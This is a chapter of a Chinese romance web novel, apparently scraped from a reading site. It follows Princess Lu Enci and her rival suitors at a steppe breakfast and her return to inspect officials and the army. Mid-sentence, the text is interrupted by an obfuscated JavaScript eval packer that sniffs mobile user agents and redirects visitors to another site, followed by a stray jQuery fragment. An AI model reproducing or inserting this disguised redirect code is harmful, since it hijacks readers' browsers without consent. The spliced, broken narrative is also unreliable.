“啊——!”当卢恩慈察觉到自己臀部几乎坐在海日恒脸上时,浑身的血液迅速涌上头顶,她只觉脸颊发烫,骨碌着从他身上爬起来。
谁知用力过猛,一时没收住力,整个人又倒在另一人怀里。
“殿下,您还好吗?是不是乏力站不稳?”
卢恩慈抬起头,见到秦牧山凑过来,忧心忡忡地望着她。
“没事,我这就从你怀里起来!”她正要站起,却被人使力抱在怀里。
“您再仔细瞧瞧,您在谁怀里?”一道声音幽幽地从她耳朵旁边响起,满是怨怼。
“原来是泽亭……”卢恩慈扭过头,对商泽亭讪笑着:“刚睡起来,我脑子还有点糊涂,看到谁就说是谁了。”
“恩慈,你今日就要回去吗?”海日恒半蹲在卢恩慈身边,央求道:“至少吃完早饭吧。”
“海日恒说的没错。我们用完早膳再走,否则您在回程的途上吃不消。”商泽亭少有地没有和海日恒争锋相对,而是同意他的说法。
大概只有在为卢恩慈好上,他能和海日恒保持一致。除此以外,他们这辈子也看不惯对方。
商泽亭一边想着,一边将卢恩慈扶起。
“是啊,早饭很重要。我们用不着赶这点时间。”秦牧山附议:“尤其您身子虚弱,更不能空腹折腾。”
“既然你们都这么说了,我哪能拂了你们的好意?”卢恩慈点点头:“我也懂得这道理的。之前长辈说过——可以不吃晚膳,但不能少了早饭!”
“嘿嘿!随我来!”海日恒不管秦牧山和商泽亭,兴高采烈地牵起卢恩慈的手:“带你去吃好吃的!”
海日恒特意放慢了步伐,他将卢恩慈的手牵得紧紧的,走一步还蹦几下。
“你是兔子呀!”卢恩慈被海日恒雀跃的情绪感染:“是有什么高兴的事吗?”
“嗯!和你一起吃饭,就很高兴啊!”海日恒语调都是上扬的。
“油嘴滑舌!”卢恩慈没忍住笑起来。
“我哪有啊,这都是肺肝之言!”
“哎呀,是肺腑之言!”
两个人牵着手一路向前,阳光当头洒下来,映出他俩的影子。
卢恩慈玩心大发,故意去踩海日恒的影子。海日恒也是小孩脾性,不甘示弱地踩回去。
商泽亭和秦牧山隔着几丈远,就在后面看着前方嬉戏说笑的两人。
“你可要小心点。”商泽亭不着痕迹地开口:“恩慈有意拉拢北戎诸部,可你兵权已被恩慈掌控。你还是小心未来某日,正夫之位恐要易主。”
“商兄这是什么话?殿下不是那般过河拆桥之人。”秦牧山闻言心里顿时凉了半截,嘴上强硬道:“若非殿下有情有义,你怎么会跟随殿下呢?”
“牧山弟,哪怕殿下把我当棋子使用,我亦会跟随殿下。”商泽亭目光一暗:“我欣赏殿下的,是她的野心不受束缚,行事别拘一格。”
“你——”秦牧山要说的话语噎在嗓间,半天也没有说一个字。
“牧山弟,你之所以倾心于殿下,我想,与其说她有情有义,不如说她有天生的领导力,让你身心不由自主地臣服于她吧。”商泽亭看似随口说道。
莫非他有读心术不成?这家伙看人准得令他心惊。秦牧山被商泽亭的剖析说中,不想承认:“随你如何想,我不打算和你推心置腹。”
“牧山弟,为何对我有这么大的敌意?”商泽亭眼波流转,抿嘴一笑:“不瞒你说,恩慈的正夫之位,我若坐不上,我宁愿你能坐稳,不想看你被海日恒挤下去。”
“我不会的。”秦牧山被商泽亭的话说动,朝前看去,是卢恩慈和海日汗亲密无间的画面。心里一酸:“你到底要说什么?”
“也没什么,希望我俩结个盟而已。”商泽亭抛出橄榄枝。
“有什么用?”秦牧山上钩,迫不及待问道。
“我可以向恩慈提议让你接手管理一部分家事,不然这个正夫显得名不副实。”
商泽亭这番话说到了秦牧山心坎里:“还有呢?”
商泽亭继续娓娓道来:“我们还可以一块儿对付海日恒,谁让他得到恩慈一点好,尾巴就翘到天上去呢?以及若日后有什么不三不四的勾引恩慈,我们一块儿赶人!”
“商兄说得极有道理!”秦牧山拍拍手,可又迟疑道:“不对,你从来不会做亏本买卖,你想得到什么好处?”
“我只想让牧山弟在恩慈耳边吹吹风,把我的名分给了。”
现在恩慈有了正夫,他要是再像之前一样肆无忌惮地和恩慈同居一室,肯定要引起他人的议论,这对恩慈不是好事。
“商兄,这要求又不过分,为何不自己向殿下提呢?莫不是殿下拒绝了你?”秦牧山对商泽亭“狮子开小口”有些奇怪。
“我不想像恩慈提要求,可自己心里又急。”商泽亭带上一丝恳求:“再说了,你是正夫,纳侧室这件事,由你来说也是情理之中。”
是啊,他是正夫,哪怕恩慈要纳,也得和自己说一声的。秦牧山被商泽亭说的舒舒坦坦,答应道:“好,等有合适的机会,我会提的。”
真好骗哪。商泽亭瞥了一眼沉浸在正夫威风幻想里的秦牧山,心里冷笑一声。
“你俩在散步吗?怎么走这么慢!”卢恩慈手作出喇叭状:“快快过来!”
秦牧山忙不迭大步流星地甩下商泽亭,朝卢恩慈奔去。
商泽亭看着卢恩慈恢复了些许生气,脸上洋溢着明媚的笑容,手里还抓着一个糖饼。
看得他心神情不自禁荡漾起来,卢恩慈身子周围的景致全都忽略,唯独她一人充满自己的视野。
“你不会一晚上没睡好,头脑发吧?”卢恩慈看到商泽亭站着不动,小跑着过来:“给你吃!”
商泽亭还来不及答话,嘴里就被卢恩慈眼疾手快地塞进一个糖饼。
“我咬了一小口,你不介意吧?”卢恩慈勾唇一笑:“你介意也没用!”
商泽亭吃东西时,素来遵守礼仪,吃得慢条厮礼。但此时他为了及时向卢恩慈回话,赶紧把糖饼嚼碎咽下:“您心知肚明,我哪里会介意呢?”
“这还差不多!”卢恩慈轻车熟路地挽过商泽亭:“我还以为你身体不适呢。走快点,还有好多吃的等着我们呢!”
待商泽亭由卢恩慈挽着踏入帐房时,看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456023|192395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到格日娜坐在主位,她身前的矮桌上,摆着一盘盘北戎特色的早点。
“我们都吃了一半了!”格日娜看着有些盘子空了,不好意思。
“没事,我吃什么都可以,填饱肚子就好。”商泽亭落座道。
“你吃什么都可以,恩慈可不行!”海日恒献宝似的拿出一碟他刚刚藏起来的盘子:“恩慈,我给你留了我最喜欢吃的奶皮子酸奶!”
“你真的很喜欢奶皮子呢!”卢恩慈接过来,舀了一口:“比你做的奶皮子月饼好吃。”
“奶皮子月饼要多少有多少,哪还用你特意留?”格日娜插嘴道:“恩慈,你要是喜欢,我让人盛几碗,让人给你带回去!”
“哎呀,我特意给恩慈的,那是我的份心意,不一样!”海日恒气呼呼地瞪向阿姐。
“你要是真心诚,就从亲自挤奶开始,一步步酿造到成品,再端给恩慈尝!”格日娜嘴皮子利索,不给海日恒留情面。
“行啊!”海日恒猛吸一口气,转向卢恩慈:“恩慈你等着!”
早饭就在嬉笑怒骂中吃完,卢恩慈被商泽亭和秦牧山一左一右护着,踏上了回大周的路。
“真是的,又没能让你吃到我烤的烤全羊。”海日恒望着卢恩慈渐行渐远的背影,失落地嘟哝。
“我过几天亲自去给你烤!”海日恒心一横,突然大声喊道。
“你说什么呢!”格日娜被海日恒一惊一乍吓一跳:“这么咋咋呼呼,可不会讨恩慈喜欢!”
“哼!”海日恒打定主意,策马而去。
回到大周后,卢恩慈一一会见了西北地区的地方官,根据他们的官职事务,对他们进行考核。
一轮考问下来,晋王殿下铁面无情的名声流传开来。
夜间空荡荡的官府里,唯有卢恩慈的办事处亮着灯。
商泽亭把给卢恩慈煮的夜宵馄饨放到桌边:“他们这么传,您不生气?”
“我巴不得他们怕我好立威。”卢恩慈头也不抬。
商泽亭走到她身后,给她揉肩:“秦牧山他这个正夫也不劝劝您仔细身子,别太过劳累。”
“好啦,别说他,他给我监军,比我还忙呢。”卢恩慈抬起头:“你快回去歇着,到时候我去你那个绸缎庄去找你!”
“干脆我在官服旁边再盘一间铺子,你一出门就能来找我。”商泽亭知道卢恩慈在下逐客令,依依不舍:“我等着您!”
挑灯夜战,公事总算告一段落。
卢恩慈伸伸懒腰——不知道秦牧山睡了没有?他忙起军务来日夜颠倒的,她要去突击检查下看看他有没有好好休息!
卢恩慈说走就走,抬脚就往凉州大营那边走。
她掏出令牌,畅通无阻地进了军营。
现在没有战事,军营内漆黑一片,大家都在休息。
一个小兵鬼鬼祟祟地走出来,看到卢恩慈,下意识就要躲闪。
“站住!”卢恩慈叫住他,借着路灯,看着有些面熟。
“报告,我只是夜间起来小解。”小兵回答。
卢恩慈正要让他走,可在和这位小兵对视的瞬间,她想起来自己在哪里见过他来。